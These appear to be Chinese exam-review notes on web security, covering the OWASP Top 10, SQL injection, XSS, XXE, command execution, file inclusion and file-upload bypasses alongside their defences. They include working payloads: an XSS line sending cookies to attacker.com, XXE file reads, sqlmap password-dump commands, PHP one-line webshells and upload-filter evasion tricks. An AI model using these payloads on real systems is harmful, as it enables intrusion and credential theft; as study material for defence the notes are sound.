网络攻防复习
作者: 李春阳
目录
[TOC]
web安全
OWASP TOP 10
开放式Web应用程序安全项目(OWASP,Open Web Application Security Project)是一个非盈利的全球性安全组织,致力于应用软件的安全研究。
- A1:2017-注入
- A2:2017-失效的身份认证
- A3:2017-敏感信息泄漏
- A4:2017-XML外部实体(XXE)[新]
- A5:2017-失效的访问控制[合并]
- A6:2017-安全配置错误
- A7:2017-跨站脚本(XSS)
- A8:2017-不安全的反序列化[新,来自于社区]
- A9:2017-使用含有己知漏洞的组件
- A10:2017-不足的日志记录和监控[新,来自于社区]
注入
原理
什么是注入:将不受信任的数据作为命令或查询的一部分发送到解析器时,注入漏洞产生。
注入导致的后果:攻击可以诱使解析器在没有适当授权的情况下执行非预期命令或访问数据,包括:
导致数据丢失、破坏或泄露给无授权方,缺乏可审计性或拒绝服务
甚至能导致主机被完全接管
注入位置:通常发生在SQL、LDAP(基于X.500标准的轻量级目录访问协议) Xpath(在XML文档中查找信息的语言)或NoSQL查询语句、OS命令、ML解析器、SMTP包头、表达式语句及ORM查询语句中
防御
注入的防御
sql注入的预防:将数据与命令、查询分割开来。
使用安全的API(避免使用解释器,参数接口化)
白名单的服务器输入验证
使用解释器的特定转义语法转义特殊字符
sql注入的防御
对输入数据进行校验
- 对非法数据转化为合法化(空格等转码)
- 拒绝预知的非法输入(黑名单)
- 只接受已知的合法输入(白名单)
使用ORM或者框架技术
对输入的数据进行编码或数据校验
is_numeric()
判断数据类型- 对
'
进行转义/'
使用预编译语句
<?php
$servername = "localhost";
$username = "username";
$password = "password";
$dbname = "myDB";
// 创建连接
$conn = new mysqli($servername, $username, $password, $dbname);
//输入ID, GET
if(isset($_GET['id']))
{
$id=$_GET['id'];
}
//$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";
//$result=mysql_query($sql);
//$row = mysql_fetch_array($result);
$stmt = $conn->prepare("SELECT * FROM users WHERE id= ? LIMIT 0,1");
$stmt->bind_param("s", $id);
$stmt->execute();
$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";
$result=mysql_query($sql);
$row = mysql_fetch_array($result);
.........
?>
失效的身份验证
原理
什么是失效的身份验证:通过错误使用应用程序的身份认证和会话管理功能,攻击者能够破译密码、密钥或会话令牌,或利用其他开发缺陷来暂时性或永久性冒充其他用户的身份。
导致失效身份验证的原因:
暴力破解、凭证填充
使用简单密码
- 使用弱的或失效的验证凭证恢复程序、忘记密码程序
- 使用明文、加密的或弱散列算法的密码
缺少或失效的多因素身份验证
暴露用户敏感信息
URL暴露会话ID或者不跟新,不正确使用会话ID
防御
如何防止失效的身份验证:
多因素身份验证
不要使用任何默认凭据进行发布或部署(禁止使用root权限)
执行弱密码检查
设置安全的密码和制定安全的密码保护协议,定期轮换
限制或增加失败的登陆延时,保护会话ID,异常检测并记录
敏感数据泄露
原理
敏感数据泄露的后果:攻击者可以通过窃取或修改未加密的数据来实施信用卡诈骗、身份盗窃或其他犯罪行为。(获取敏感信息个人信息)
敏感数据加密:传输过程中的数据(明文)、存储的数据(未加密)、浏览器的交互数据
防御
如何防止敏感数据泄露:
进行数据分类,进行访问控制
对敏感数据进行加密,定期清理不必要的临时敏感数据
- 更新最新的加密算法和参数,协议,密钥,和密码专用算法存储密码,如PBKDF2,bcrypt,scrypt
确保传输过程中数据加密(使用TLS)
禁止缓存包含敏感数据的相应
XML外部实体(XXE)
原理
什么是XXE:如果可以上传XML文档或在XML文档中添加恶意内容,通过易受攻击的代码、依赖项,攻击者就能够攻击含有缺陷的XML处理器。
XXE攻击的后果:攻击者可以利用外部实体窃取使用URI文件处理器的内部文件和共享文件、监听内部扫描端口、执行远程代码和实施DoS攻击。
XML结构介绍
什么是XML:可拓展标记语言,类似HTML,设计宗旨时传输数据,而非显示数据,XML标签没有被预定义。需要自行定义标签。
XML文档包含:XML声明、DTD文档类型定义(可选)、文档元素。
XXE实体分类:字符实体、命名实体、参数实体、外部实体
实体分类:
字符实体:由XML规范预先定义好了
| 实体引用 | 字符 |
| :———: | :—: |
| < | < |
| > | > |
| & | & |
| " | “ |
| &apos | ‘ |命名实体与数字字符实体类似,只是将数字改为一个更容易记忆的英文标识.其中
<!ENTITY... >
表示实体声明,<!ENTITY >
就是对一大段内容的引用,可以简化代码的复用。<!-- XML声明 --> <?xml version="1.0" encoding="utf-8"?> <!DOCTYPE root [ <!ENTITY x "CUMT"> <!ENTITY y "bxs"> ]> <root> <x>&x;</x> <y>&y;</y> </root>
参数实体
combine.dtd
<!ENTITY content "%param1;%param2;%param3">
xml
<!-- XML声明 --> <?xml version="1.0" encoding="utf-8"?> <!DOCTYPE root [ <!ENTITY % param1 "CUMT"> <!ENTITY % param2 "bxs"> <!ENTITY % param3 "bxs"> <!ENTITY dtd STSTEM "combine.dtd"> %dtd ]> <root><foo>&content</foo></root>
- 外部实体
XML声明+DTD文档+文档元素
<!-- XML声明 -->
<?xml version="1.0" encoding="utf-8"?>
<!-- DTD 文档类型说明 -->
<!DOCTYPE PAYLOAD [
<!--这里声明了变量,类型是什么-->
<!-- 内部 -->
<!ENTITY name "name">
<!-- 外部 -->
<!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<!-- 文档元素-->
<name>&name;</name>
<payload>&xxe;</payload>
攻击代码
<?xml version="1.0"?>
<!DOCTYPE ANY [
读取任意文件
<!ENTITY xxe SYSTEM "file:///C:/windows/system.ini">
执行系统命令
<!ENTITY xxe SYSTEM "expect://whoami">
探测内网端口
<!ENTITY xxe SYSTEM "http://192.x.x.x:81/xx">
攻击内网网站
当跳板类似1和3.
]>
防御
如何防止XXE攻击:
尽可能使用简单的数据格式,并面对敏感数据进行序列化
及时修护更新使用的XML处理器和库
在XML解析器中禁用XML外部实体和DTD进程
在服务器实施白名单过滤
使用SAST工具进行检测,使用API安全网关,WAF检测等预防XXE攻击
失效的访问控制
原理
什么是失效的访问控制:未对用户实施恰当的访问控制。攻击者可以访问未经授权的功能或数据。
造成的危害:访问其他用户账户、查看敏感文件、修改其他用户的数据、更改访问权限
示例:web参数查询,随意访问
防御
如何防范:
除共有资源外,默认为“拒绝访问”
使用一次性的访问控制机制,最小化跨源资源访问
禁用web服务器目录列表,备份文件另存为
在日志中记录失败的访问控制
当用户注销后,服务器上的状态会话标识符应失效
对访问控制功能进行单元测试和集成测试
安全配置错误
原理
安全配置错误通常包括哪些:
不安全的默认配置
不完整的临时配置
开源云存储
错误的HTTP报头配置
包含敏感信息的详细错误配置
示例
- cms后台安装控制没修改,默认后台密码路径未修改
- 服务器配置反馈暴露
- 服务器自带示例等程序未删除
防御
如何防范:不仅需要对操作系统、框架、库和应用程序进行安全配置,而且必须及时修补和升级。
跨站脚本XSS
原理
什么是XSS:当网页中包含不受信任的、未经恰当验证或转义的数据,或使用可以创建HTML或者JavaScript的浏览器API更新现有的网页时,会出现XSS缺陷。
三种类型:反射型XSS、存储型XSS、基于DOM的XSS
带来的危害:攻击者能够在受害者的浏览器执行脚本,并劫持用户会话、破坏网站或将用户重定向到恶意站点
攻击场景(18级考过,建议全文背下来):
HTML段的构造中使用未经验证或转义的不可信数据:
(String)page+=”<input name=’creditcard’ type=’TEXT’ value=’”request.getParameter(“C”)+’”>”
攻击者在浏览器中修改“C”参数为:
‘><script>document.location=’http://www.attacker.com/cgi-bin/cookie.cgi?foo=’+document.cookie</script>’
后果(如何利用):受害者的会话ID被发送给攻击者,使攻击者能够劫持用户会话
攻击代码:<script>alert(1)</script>
提前闭合。
防 范:htmlspecialchars()
把预定义的字符转换为HTML实体。
其他可弹窗代码:onclick
、oninput
、onmouseover
攻击方式
- 在 HTML 中内嵌的文本中,恶意内容以 script 标签形成注入。
- 在内联的 JavaScript 中,拼接的数据突破了原本的限制(字符串,变量,方法名等)。
- 在标签属性中,恶意内容包含引号,从而突破属性值的限制,注入其他属性或者标签。
- 在标签的 href、src 等属性中,包含
javascript:
等可执行代码。 - 在 onload、onerror、onclick 等事件中,注入不受控制代码。
- 在 style 属性和标签中,包含类似
background-image:url("javascript:...");
的代码(新版本浏览器已经可以防范)。 - 在 style 属性和标签中,包含类似
expression(...)
的 CSS 表达式代码(新版本浏览器已经可以防范)。
防御
- 不要在页面中插入任何不可信数据,除非这些数已经据根据后面几个原则进行了编码
- 在将不可信数据插入到HTML标签之间时,对这些数据进行HTML Entity编码
- 在将不可信数据插入到HTML属性里时,对这些数据进行HTML属性编码
- 在将不可信数据插入到SCRIPT里时,对这些数据进行SCRIPT编码
- 在将不可信数据插入到Style属性里时,对这些数据进行CSS编码
- 在将不可信数据插入到HTML URL里时,对这些数据进行URL编码
- 使用富文本时,使用XSS规则引擎进行编码过滤
- 防御DOM Based XSS
- HttpOnly Cookie
- 输入检查
不安全的反序列化
原理
序列化:把对象转换为字节序列的过程,即把对象转换为可以存储或传输的数据的过程。例如将内存中的对象转换为二进制数据流或文件,在网络传输过程中,可以是字节或是XML等格式。
反序列化:把字节序列恢复为对象的过程,即把可以存储或传输的数据转换为对象的过程。例如将二进制数据流或文件加载到内存中还原为对象。
反序列化攻击:在身份验证,文件读写,数据传输等功能处,在未对反序列化接口做访问控制,未对序列化数据做加密和签名,加密密钥使用硬编码,使用不安全的反序列化框架库或函数的情况下,由于序列化数据可被用户控制,攻击者可以精心构造恶意的序列化数据(执行特定代码或命令的数据)传递给应用程序,在应用程序反序列化对象时执行攻击者构造的恶意代码,达到攻击者的目的。
序列化用途
- 远程和进程间通信(RPC/IPC)
- 连线协议、Web服务、消息代理
- 缓存/持久性
- 数据库、缓存服务器、文件系统
- HTTP cookie、HTML表单参数、API身份验证令牌
不安全的反序列化后果:导致远程代码执行,攻击者还可以进行重放攻击、注入攻击、特权提升攻击
序列化
序列化:将程序中对象的状态信息转换为可存储形式的过程(一般为字符串)。对应函数serialize()
反序列化:将序列化的数据反向重新构建对象的过程。对应函数unserialize()
目的:为了方便PHP对象的传输和存储
- 序列化只是序列化属性,不序列化方法
- unserialize接收的参数如果用户可控,则可以传入构造的字符串,实现攻击
- 要寻找合适的能被控制的属性,利用本身存在的方法魔术方法(以
_
开头)
俩种主要类型
- 对象和数据结构攻击:如果存在可以在反序列化过程中或之后被改变行为的
类,则攻击者可以通过改变应用逻辑或者实现远程代码执行攻击 - 数据篡改攻击:如访问控制相关的攻击一一使用现有的数据结构,但内容发
生变化
攻击场景
- 使用PHP序列化保存cookie:包含用户的用户ID、角色、密码哈希和其他状态:
a:4{i:0;i:132;i:1;s:7:"Mallory";i:2;s:4:"user";i:3;s:32:"b6a8b3bea87fe0e05022f8f3c88bc960";}
- 攻击者更改序列化对象以授予自己admin权限:
a:4{i:0;i:1;i:1;s:5:"Alice";i:2;s:5:"admin";i:3;s:32:"b6a8b3bea87fe0e05022f8f3c88bc960"}
获取序列化字符串的脚本如下:
<?php
class A{
var $target = "test";
}
$obj = new A();
$s = serialize($obj);
var_dump($s);
?>
正常的序列化字符串为;
O:对象名的长度:"对象名":对象属性个数:{s:属性名的长度:"属性名";s:属性值的长度:"属性值";}
O:1:"A":1:{s:6:"target";s:4:"test";}
构造不正常的:
O:1:"A":1:{s:6:"target";s:18:"<?php phpinfo();?>";}
如果要序列化protected类型的属性,需要在变量名前加上
%00\*%00
。序列化private类型的属性,需要在变量名前加上%00类名%00
。
防御
如何防止:
不接受来自不受信源的序列化对象,或使用只允许原始数据类型的序列化.
执行完整性检查,数字签名
在创建对象前强制执行严格的类型约束
记录反序列化的列外情况和失败信息
限制或监视来自于容器或服务器传入和传出的反序列化网络链接
当用户进行反序列化时警告用户
使用含有已知漏洞的组件
原理
实例:
(1)使用不了解其应用或API中使用的组件,且不及时跟新
(2)组件拥有和应用程序相同的权限
后果:
(1)造成验证的数据丢失或服务器接管
(2)破坏应用程序防御、造成各种攻击并产生严重影响
防御
- 使用新版安全的组件版本,及时更新版本,打补丁
- 根据风险定期修复漏洞框架和库,升级更换平台
- 进行安全性测试
- 对组件进行安全配置,了解其组件版本型号等
不足的日志记录和监控
原理
后果:无法有效发现漏洞和攻击,使攻击者能进一步攻击系统、保持吃讯息或转向跟多系统,以及篡改、提取或销毁数据。
导致不足日志记录的情况:
未记录可审计性事件
告警和错误时间未能产生或产生不足的和不清晰的日志信息
日志信息仅在本体存储
- 没有实时检测和警告,没有设置合理警告阈值
- 没有利用日志进行检测和分析
防御
- 及时记录相关操作日志等可审计性事件
- 分布存储日志
- 合理设置警告阈值,及时响应
- 构建入侵检测系统,利用日志分析预防攻击
- 记录和警告可疑或者不清楚的日志信息
代码审计
代码审计基础
源代码审计
- 依据CVE漏洞字库表、OWASP Top10漏洞,以及设备、软件厂商公布的漏洞库结合专业源代码扫描工具对各种程序语言编写的源代码进行安全审计
- 能够为客户提供包括安全编码规范咨询源代码安全现状测评、定位源代码中存在的安全漏洞、分析漏洞风险、给出修改建议等一系列服务
代码审计:发现渗透测试很难发现甚至不能发现的漏洞
代码审计与渗透测试对比区别,各自优缺点
- 渗透测试(黑盒)
- 威胁:来自外部的入侵
- 描述:模拟黑客攻击的方式,来评估目标系统的安全性
- 测试目标:包括但不局限于Web应用系统
- 测试产出:渗透测试报告并提出修复建议
- 优点:贴近实际场景,远程渗透
- 缺点:不全面,修复成本高
- 代码审计(白盒)
- 脆弱性:系统自身、软件等存在的问题
- 描述:发现程序中存在的不安全编码
- 测试目标:基于提供的系统代码,发现代码的安全漏洞
- 测试产出:代码审计报告并提出修复建议
- 优点:全面审查,贴近系统和架构,修复成本低
- 缺点:现场审计
代码审计的流程
- 工具整体扫描(Seay代码审计,Foritfy SCA),人工确认漏洞,形成工具扫描结果
- 专家分析,安全编码规范,常规漏洞,业务逻辑漏洞等
- 最终整理形成代码审计报告
代码审计通用方法:
根据敏感关键字回溯参数传递过程
查找可控变量,正向追踪变量传递过程
查找敏感功能点,通读功能点代码
直接通读全文代码
SQL注入
原理
SQL注入是因为后台SQL语句拼接了用户的输入,而且Web应用程序对用户输入数据的合法性没有判断和过滤,前端传入后端的参数是攻击者可控的,攻击者可以通过构造不同的SQL语句来实现对数据库的任意操作。
攻击方法
sqlmap
-u ip -D x -T -C x
-D -dbs
-T -tables
-C -columns
# 查找注入点
python3.7 sqlmap.py -u 'http://127.0.0.1:5000/bad_sql?id=111' --dbms='MySQL' --batch
# 查询有哪些数据库
python3.7 sqlmap.py -u 'http://127.0.0.1:5000/bad_sql?id=111' --dbms='MySQL' --batch –level 3 –dbs
# 查询qa_tools_db/mysql数据库中有哪些表
python3.7 sqlmap.py -u 'http://127.0.0.1:5000/bad_sql?id=111' --dbms='MySQL' –level 3 -D qa_tools_db –tables
python3.7 sqlmap.py -u 'http://127.0.0.1:5000/bad_sql?id=111' --dbms='MySQL' –level 3 -D mysql –tables
# 查询qa_tools_db数据库中jira_infos表有哪些字段
python3.7 sqlmap.py -u 'http://127.0.0.1:5000/bad_sql?id=111' --dbms='MySQL' –level 3 -D qa_tools_db -T jira_infos –columns
python3.7 sqlmap.py -u 'http://127.0.0.1:5000/bad_sql?id=111' --dbms='MySQL' –level 3 -D mysql -T user –columns
# dump出mysql中user表的账号密码
python3.7 sqlmap.py -u "http://127.0.0.1:5000/bad_sql?id=111" --dbms="MySQL" –level 3 -D mysql -T user –passwords -U root -v 2 --batch
手动注入
# 简单粗暴
admin' or 1=1;#
# 数据库
union select 2,3,databse()
# 爆表名
?id=-1’ union select 2,3,group_concat(table_name) from information_schema.tables where table_schema=database()–+
#列名
?id=-1’ union select 2,3,group_concat(column_name) from information_schema.columns where table_name=‘users’–+
#用户表
?id=-1’ union select 2,3,group_concat(username,’:’,password)from security.users --+
sql注入的防御
对输入数据进行校验
- 对非法数据转化为合法化(空格等转码)
- 拒绝预知的非法输入(黑名单)
- 只接受已知的合法输入(白名单)
使用ORM或者框架技术
对输入的数据进行编码或数据校验
is_numeric()
判断数据类型- 对
'
进行转义/'
使用预编译语句
<?php
$servername = "localhost";
$username = "username";
$password = "password";
$dbname = "myDB";
// 创建连接
$conn = new mysqli($servername, $username, $password, $dbname);
//输入ID, GET
if(isset($_GET['id']))
{
$id=$_GET['id'];
}
//$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";
//$result=mysql_query($sql);
//$row = mysql_fetch_array($result);
$stmt = $conn->prepare("SELECT * FROM users WHERE id= ? LIMIT 0,1");
$stmt->bind_param("s", $id);
$stmt->execute();
$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";
$result=mysql_query($sql);
$row = mysql_fetch_array($result);
.........
?>
XSS攻击
原理
什么是XSS:当网页中包含不受信任的、未经恰当验证或转义的数据,或使用可以创建HTML或者JavaScript的浏览器API更新现有的网页时,会出现XSS缺陷。
三种类型:反射型XSS、存储型XSS、基于DOM的XSS
带来的危害:攻击者能够在受害者的浏览器执行脚本,并劫持用户会话、破坏网站或将用户重定向到恶意站点
攻击场景(18级考过,建议全文背下来):
HTML段的构造中使用未经验证或转义的不可信数据:
(String)page+=”<input name=’creditcard’ type=’TEXT’ value=’”request.getParameter(“C”)+’”>”
攻击者在浏览器中修改“C”参数为:
‘><script>document.location=’http://www.attacker.com/cgi-bin/cookie.cgi?foo=’+document.cookie</script>’
后果(如何利用):受害者的会话ID被发送给攻击者,使攻击者能够劫持用户会话
攻击代码:<script>alert(1)</script>
提前闭合。
防 范:htmlspecialchars()
把预定义的字符转换为HTML实体。
其他可弹窗代码:onclick
、oninput
、onmouseover
代码
<html>
<body>
<h1 align=center>欢迎来到level1,输入name</h1>
<form action="",method="POST">
<input type='text' name="name">
<input type='submit' value="submit">
<\form>
<?php
ini_set("display_errors", 0);
$str = $_POST["name"];
//echo $_str;
echo "<h2 align=center>欢迎用户".$str."</h2>";
?>
<center><img src=level1.png></center>
<?php
echo "<h3 align=center>payload的长度:".strlen($str)."</h3>";
?>
</body>
</html>
输入脚本<script>alert("xss")</sctipt>
攻击方式
- 在 HTML 中内嵌的文本中,恶意内容以 script 标签形成注入。
- 在内联的 JavaScript 中,拼接的数据突破了原本的限制(字符串,变量,方法名等)。
- 在标签属性中,恶意内容包含引号,从而突破属性值的限制,注入其他属性或者标签。
- 在标签的 href、src 等属性中,包含
javascript:
等可执行代码。 - 在 onload、onerror、onclick 等事件中,注入不受控制代码。
- 在 style 属性和标签中,包含类似
background-image:url("javascript:...");
的代码(新版本浏览器已经可以防范)。 - 在 style 属性和标签中,包含类似
expression(...)
的 CSS 表达式代码(新版本浏览器已经可以防范)。
防御
- 不要在页面中插入任何不可信数据,除非这些数已经据根据后面几个原则进行了编码
- 在将不可信数据插入到HTML标签之间时,对这些数据进行HTML Entity编码
- 在将不可信数据插入到HTML属性里时,对这些数据进行HTML属性编码
- 在将不可信数据插入到SCRIPT里时,对这些数据进行SCRIPT编码
- 在将不可信数据插入到Style属性里时,对这些数据进行CSS编码
- 在将不可信数据插入到HTML URL里时,对这些数据进行URL编码
- 使用富文本时,使用XSS规则引擎进行编码过滤
- 防御DOM Based XSS
- HttpOnly Cookie
- 输入检查
- 输入
htmlentities(string,flags,character-set,double_encode)
HTML实体转换函数<?php echo htmlentities($_POST["username"]); ?>
- 敏感字符转义
<?php echo htmlspecialchars($_POST["username"]); ?>
命令执行
原理
命令执行漏洞属于高危漏洞,指攻击者可以随意执行系统命令,它属于代码执行的范畴,不仅存在B/S架构中,也存在于C/S架构中。
代码
<?php
$target=$_GET['ip']
$cmd="ping -c 3 $target";
echo $cmd;
system($cmd);
?>
WINDOWS系统支持的管道符:&
,&&
,|
,||
:直接执行后面的语句net user,whomi
防御
- 黑名单防御(过滤特殊字符)。类似代码如下:
<?php
$dir = $_REQUEST['dir'];
$substitutions = array(
'|' => '',
';' => '',
'&' => ''.
);
$dir = str_replace(array_keys($substitutions),$substitutions,$dir);
system('ls'.$dir);
?>
- 白名单限制输入
function is_ip($ip){
$arr = explode('.',$ip);
if(count($arr) != 4){
return false;
}else{
for($i = 0;$i < 4;$i++){
if(($arr[$i] < 0) || ($arr[$i] > 255)){
return false;
}
}
}
return true;
}
- 谨慎使用
eval
等可能引起命令执行函数 - 对用户输入的参数进行过滤,如
escapeshellarg()
,escapeshellcmd()
过滤转码
<?php
$ip=$_GET['ip']
$target = escapeshellarg($ip);
$cmd="ping -c 3 $target";
echo $cmd;
system($cmd);
?>
- 参数尽量使用引号进行包裹,拼接前用
addslashes()
转义(对引号那些转义)
文件包含
原理
服务器执行PHP文件时,可以通过文件包含函数加载另一个文件中的PHP代码,并且当PHP来执行,这会为开发者节省大量的时间。
文件包含函数加载的参数没有经过过滤或者严格的定义,可以被用户控制,包含其他恶意文件,导致了执行了非预期的代码。
常见函数:include();
原理:使用这些函数包含一个新文件时,文件将作为php代码执行,php并不在意包含文件的类型。
危害:
- 读取敏感数据
- 远程包含shell
- 基于php封装读取源码
代码
<? php
include($_GET['test']);
?>
本地文件:构建
?test=/etc/passwd
获取文件内容远程文件:
?test=ip/code.txt
<?fputs(fopen("shell.php","W"),"<?php eval($_POST['shell']);?>")?>
php源码:
?test=php://
文件
防御
- 设置白名单:
<?php
$file_list=[ //声明一个变量,用于存放白名单;
'framework/init.php',
'framework/route.php',
'framework/event.php',
];
$file= $_REQUEST['file'];
//声明一个变量,用于接收传递过来的文件信息;
if (in_array($file, $file_list)){
//把传递过来的文件信息和白名单里面的文件进行对比;
include "$file";
//如果传递过来的文件是白名单里面的文件,就对它进行文件包含;
}
?>
- 过滤危险字符
$pattern= "#^[a-z][a-z0-9+.]*:?//#i";
if(substr($filename,-4)=='.php' && strpos($filename,"..")===false&&!preg_match($pattern, $filename)){
include "$file";
}
- 设置文件目录(配置php.ini)
PHP配置文件中有open_basedir选项可以设置用户需要执行的文件目录,如果设置目录的话,PHP仅仅在该目录内搜索文件。
- 关闭危险配置(配置php.ini)
PHP配置中的allow_url_include选项如果打开,PHP会通过Include/Require进行远程文件包含,由于远程文件的不可信任性及不确定性,在开发中禁止打开此选项,PHP默认是关闭的。
- 静态写入
- 对路径,参数,文件进行验证
文件上传与文件解析
原理
文件上传漏洞的原理:
文件上传漏洞的产原因在于程序员对于用户上传的文件内容控制不足或处理存在缺陷,从而导致的用户可以越过其本身权限向服务器上传可执行的脚本文件。
文件上传漏洞的危害:
(1)上传webshell,控制服务器、远程命令执行
(2)上传系统病毒、木马文件进行挖矿、僵尸网络
(3)进行提权操作
(4)修改web页面,实现钓鱼、挂马等操作。
(5)进行内网渗透。
代码
无验证
直接上传一句话木马或者WebShell脚本即可。、
<?php @eval($_POST['shell']);?>
客户端检测(Javascript检测)
<script type="text/javascript">
function checkFile() {
var file = document.getElementsByName('upload_file')[0].value;
if (file == null || file == "") {
alert("请选择要上传的文件!");
return false;
}
//定义允许上传的文件类型
var allow_ext = ".jpg|.png|.gif";
//提取上传文件的类型
var ext_name = file.substring(file.lastIndexOf("."));
//判断上传文件类型是否允许上传
if (allow_ext.indexOf(ext_name) == -1) {
var errMsg = "该文件不允许上传,请上传" + allow_ext + "类型的文件,当前文件类型为:" + ext_name;
alert(errMsg);
return false;
}
}
</script>
客户端检测(Javascript检测)
在网页上写一段Javascript脚本,效验文件上传的后缀名,有白名单形式也有黑名单形式。如果上传文件的后缀不被允许,则会弹窗告知,此时文件上传的数据包并没有发送到服务端,只是在客户端浏览器使用Javascript对数据包进行检测。
这时有两种方法可以绕过客户端Javascript的检测:
- 使用浏览器插件,删除检测文件后缀的Javascript代码,然后上传文件即可绕过
- 首先把需要上传的文件后缀改成允许上传的文件类型,如jpg、png、gif等,绕过Javascript检测,再抓包,把后缀名改成可执行文件的后缀即可上传成功
服务端检测(MINE类型检测)
<?php
$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
if (file_exists(UPLOAD_PATH)) {
if (($_FILES['upload_file']['type'] == 'image/jpeg') || ($_FILES['upload_file']['type'] == 'image/png') || ($_FILES['upload_file']['type'] == 'image/gif')) {
$temp_file = $_FILES['upload_file']['tmp_name'];
$img_path = UPLOAD_PATH . '/' . $_FILES['upload_file']['name'];
if (move_uploaded_file($temp_file, $img_path)) {
$is_upload = true;
} else {
$msg = '上传出错!';
}
} else {
$msg = '文件类型不正确,请重新上传!';
}
} else {
$msg = UPLOAD_PATH.'文件夹不存在,请手工创建!';
}
}
?>
服务器代码判断$_FILES[”file“][“type”]是不是图片格式(image/jpeg
、image/png
、image/gif
),如果不是,则不允许上传该文件。
绕过方法:
抓包后更改Content-Type为允许的类型绕过该代码限制,比如将php文件的Content-Type:application/octet-stream
修改为image/jpeg
、image/png
、image/gif
等就可以
服务端检测(文件扩展名检测)黑名单
<?php
include '../config.php';
include '../common.php';
include '../head.php';
include '../menu.php';
$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
if (file_exists(UPLOAD_PATH)) {
$deny_ext = array('.asp','.aspx','.php','.jsp');
//$deny_ext = array(".php",".php5",".php4",".php3",".php2",".php1",".html",".htm",".phtml",".pht",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".pHp1",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".ini");
$file_name = trim($_FILES['upload_file']['name']);
$file_name = deldot($file_name);//删除文件名末尾的点
$file_ext = strrchr($file_name, '.'); //查找字符串在另一个字符串中最后一次出现的位置,并返回从该位置到字符串结尾的所有字符。就是后面后缀
$file_ext = strtolower($file_ext); //转换为小写
$file_ext = str_replace('::$DATA', '', $file_ext);//去除字符串::$DATA
$file_ext = trim($file_ext); //首尾去空
if(!in_array($file_ext, $deny_ext)) {
$temp_file = $_FILES['upload_file']['tmp_name'];
$img_path = UPLOAD_PATH.'/'.date("YmdHis").rand(1000,9999).$file_ext;
if (move_uploaded_file($temp_file,$img_path)) {
$is_upload = true;
} else {
$msg = '上传出错!';
}
} else {
$msg = '不允许上传.asp,.aspx,.php,.jsp后缀文件!';
}
} else {
$msg = UPLOAD_PATH . '文件夹不存在,请手工创建!';
}
}
?>
in_array()
判断数组中是否存在某个值。rand(1000,9999).$file_ext
随机命名。.deldot()
:去文件名末尾的点。防止后面加.
绕过strrchr()
:查找字符在指定字符串中从右面开始的第一次出现的位置,如果成功,返回该字符以及其后面的字符,获取后缀。strtolower()
:以小写字符返回指定字符串。防止大小写绕过str_replace()
:使用一个字符串替换字符串中的另一些字符。这里目的是删去::$DATA
,但是由于Windows的特性在磁盘中会忽略::$DATA
并将文件新建。在浏览器中拼接文件路径并去掉::$DATA
后访问,可以看到文件内容成功被执行。trim()
:除了单词之间的单个空格外,清除文本中所有的空格,后面加空格绕过
绕过方法:
文件名大小写绕过,如:
*.pHp
*.aSP
,php3
,php5
符合的后缀包括 php、php3、php4、php5、phtml、pht等
文件名双写绕过,如:
*.pphphp
没有对后缀名进行去”::
$DATA”处理,利用windows特性,可在后缀名中加” ::$DATA”
绕过:Unicode: 当目标存在json_decode且检查在json_decode之前,可以将php写为
\u0070hp
名单列表绕过,如:
*.asa
*.cer
特殊文件名绕过,比如windows文件名最后不能有.或空格,可设为
*.php.
或*.php+
0x00截断绕过,比如:
*.php(0x00).jpg
或*.php%00.jpg
文件包含漏洞
服务器解析漏洞
.htaccess文件攻击
一般
.htaccess
可以用来留后门和针对黑名单绕过。在上传网站的根目录下,上传一个.htaccess
文件即可。//.htaccess 修改文件 <FilesMatch “4.jpg”> SetHandler application/x-httpd-php </FilesMatch>
上传4.jpg就可以
也可以
后缀名冗余(未知拓展名绕过)绕过,例如修改成one.php.aaa、one.php.xxxx等。、
后面的大部分也是这
- 还是黑名单,但是没有对后缀名进行去空处理,可在后缀名中加空绕过:
防御
- 文件扩展名服务端白名单效验
$deny_ext = array('.png','.jpg');
if(in_array($file_ext, $deny_ext)) {
}
- 如果需要保留文件名,可以修改程序源代码,替换上传文件名中的“.”为“_”:
$filename = str_replace(’.’, ‘_’, $filename);
- 文件内容服务端效验
- 上传文件重命名
- 隐藏上传文件路径
- 限制相关目录的执行权限,防范WebShell攻击
- uniqid(prefix,more_entropy)):基于微秒计的当前时间,生成一个唯一的ID
- md5(uniqid().Suploaded_name):使用MD5对uniqid()函数生成唯一id进行重命
名,可以防护00截断攻击 - 限制上传文件大小
- 通过Imagecreatefromjpeg()和imagecreatefrompng()函数将上传文件重新写入个新的图片文件中,抹除图片中的有害元数据
- imagedestory(Simg)将上传的原文件删除
- unlink(temp_file)删除过滤过程中产生的任何临时文件
<?php
if( isset( $_POST[ 'Upload' ] ) ) {
// Check Anti-CSRF token
checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );
// File information
$uploaded_name = $_FILES[ 'uploaded' ][ 'name' ];
$uploaded_ext = substr( $uploaded_name, strrpos( $uploaded_name, '.' ) + 1);
$uploaded_size = $_FILES[ 'uploaded' ][ 'size' ];
$uploaded_type = $_FILES[ 'uploaded' ][ 'type' ];
$uploaded_tmp = $_FILES[ 'uploaded' ][ 'tmp_name' ];
// Where are we going to be writing to?
$target_path = DVWA_WEB_PAGE_TO_ROOT . 'hackable/uploads/';
//$target_file = basename( $uploaded_name, '.' . $uploaded_ext ) . '-';
//MD5重命名
$target_file = md5( uniqid() . $uploaded_name ) . '.' . $uploaded_ext;
$temp_file = ( ( ini_get( 'upload_tmp_dir' ) == '' ) ? ( sys_get_temp_dir() ) : ( ini_get( 'upload_tmp_dir' ) ) );
$temp_file .= DIRECTORY_SEPARATOR . md5( uniqid() . $uploaded_name ) . '.' . $uploaded_ext;
// Is it an image?
//限制文件大小和文件名校验
if( ( strtolower( $uploaded_ext ) == 'jpg' || strtolower( $uploaded_ext ) == 'jpeg' || strtolower( $uploaded_ext ) == 'png' ) &&
